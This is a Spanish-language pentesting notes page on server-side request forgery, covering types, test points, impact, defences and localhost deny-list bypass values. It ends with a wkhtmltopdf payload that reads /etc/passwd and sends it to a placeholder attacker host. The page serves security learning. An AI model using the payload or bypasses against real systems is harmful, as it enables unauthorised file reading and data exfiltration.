> For the complete documentation index, see [llms.txt](https://j4ckie0x17.gitbook.io/notes-pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://j4ckie0x17.gitbook.io/notes-pentesting/pentesting-web/server-side-request-forgery-ssrf.md).

# Server-Side Request Forgery (SSRF)

## ¿Qué es y cómo funciona?

SSRF significa "Server-Side Request Forgery" (Falsificación de petición en el lado del servidor), es una vulnerabilidad en la que un atacante puede enviar solicitudes desde un servidor web comprometido a otros sistemas o servicios que se encuentran en la red interna, en lugar de solicitudes desde su propia máquina.

Esta vulnerabilidad puede permitir a los atacantes acceder a recursos internos que no deberían ser accesibles desde la red externa, como bases de datos, sistemas de archivos, servicios en la nube y otros sistemas críticos.

El funcionamiento de un ataque SSRF típicamente implica aprovechar una aplicación web que permite a los usuarios enviar solicitudes a otros sistemas. Un atacante puede modificar la solicitud de manera que la URL de destino sea un sistema interno en lugar de un sitio web público, y luego enviar la solicitud a través del servidor comprometido. Esto puede permitir al atacante acceder a recursos internos y potencialmente tomar el control del servidor.

Para prevenir los ataques SSRF, los desarrolladores de aplicaciones deben validar cuidadosamente las entradas de los usuarios, especialmente las URLs y otros datos que se utilizan para generar solicitudes web. También se pueden tomar medidas adicionales, como restringir el tráfico de red desde los servidores web hacia otros sistemas internos y configurar listas de control de acceso para limitar el acceso a recursos críticos.

## Tipo de SSRF

* Regular SSRF que los datos son devueltos a la pantalla del atacante.
* Blind SSRF, en la que se hace un SSRF pero la información no es devuelta a la pantalla del atacante.

Cuando estemos realizando un blind SSRF al no tener información de vuelta tenemos que utilizar una herramienta externa pra monitorizar la petición, esta es la herramienta:

{% embed url="<https://requestbin.com/>" %}

También puedes utulizar tu propia HTTP server o BurpSuite.

## Checks al enfrentarnos a un SSRF

* Parts of HTTP requests, including URLs
* File imports such as HTML, PDFs, images, etc.
* Remote server connections to fetch data
* API specification imports
* Dashboards including ping and similar functionalities to check server statuses

Si recuperamos archivos HTML, estos pueden ser vulnerados mediante un Reflected XSS

## ¿Cuál es el impacto?

Un ataque SSRF exitoso puede resultar en cualquiera de los siguientes:

* Acceso a áreas no autorizadas.
* Acceso a datos de clientes/organizaciones.
* Capacidad de escalar a redes internas.
* Revelar tokens/credenciales de autenticación.

## Defensas comunes de SSRF

Hay varias defensas comunes que se pueden implementar para mitigar los riesgos de un ataque SSRF. Algunas de estas defensas incluyen:

1. Validación y filtrado de entrada: Los desarrolladores pueden validar y filtrar cuidadosamente todas las entradas de los usuarios, especialmente las URLs y otros datos que se utilizan para generar solicitudes web. Esto puede ayudar a evitar que los atacantes envíen solicitudes maliciosas a través de la aplicación web. Un punto final específico para restringir el acceso es el host local, que puede contener datos de rendimiento del servidor o más información confidencial, por lo que los nombres de dominio como localhost y 127.0.0.1 aparecerán en una lista de denegación. Los atacantes pueden eludir una lista de denegación mediante el uso de referencias locales de host alternativas como 0, 0.0.0.0, 0000, 127.1, 127.*.*.\*, 2130706433, 017700000001 o subdominios que tienen un registro DNS que se resuelve en la dirección IP 127.0.0.1 como 127.0.0.1.nip.io.
2. Uso de listas blancas: Las listas blancas de URL se pueden utilizar para restringir las solicitudes que se pueden enviar desde la aplicación web. Esto puede ayudar a evitar que los atacantes envíen solicitudes a sistemas internos no autorizados.
3. Restricciones de red: Se pueden configurar restricciones de red para limitar el tráfico que se puede enviar desde el servidor web hacia otros sistemas internos. Esto puede ayudar a evitar que los atacantes envíen solicitudes maliciosas a través del servidor web comprometido.
4. Separación de redes: Se pueden utilizar redes separadas para sistemas internos y sistemas públicos. Esto puede ayudar a evitar que los atacantes accedan a sistemas internos no autorizados.
5. Autenticación y autorización adecuadas: Se deben implementar medidas de autenticación y autorización adecuadas para limitar el acceso a sistemas internos y recursos críticos. Esto puede ayudar a evitar que los atacantes accedan a recursos internos no autorizados.
6. Actualización y parcheo: Los sistemas deben mantenerse actualizados y parcheados regularmente para corregir vulnerabilidades conocidas. Esto puede ayudar a evitar que los atacantes aprovechen vulnerabilidades conocidas para llevar a cabo ataques SSRF.

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md>" %}
Payloads SSRF
{% endembed %}

## Blind SSRF&#x20;

## wkhtmltopdf <a href="#exploit-title" id="exploit-title"></a>

En el caso que nos encontramos que hay un SSRF y ejecuta por detrás un convertidor de HTML a PDF (wkhtmltopdf) que permite ejecutar JavaScript, podemos utilizar este payload para sacar archivos que no deberíamos tener capacidad de leer.

```
<script>
        var readfile = new XMLHttpRequest(); // Read the local file
        var exfil = new XMLHttpRequest(); // Send the file to our server
        readfile.open("GET","file:///etc/passwd", true);
        readfile.send();
        readfile.onload = function() {
            if (readfile.readyState === 4) {
                var url = 'http://<SERVICE IP>:<PORT>/?data='+btoa(this.response);
                exfil.open("GET", url, true);
                exfil.send();
            }
        }
        readfile.onerror = function(){document.write('<a>Oops!</a>');}
</script>
```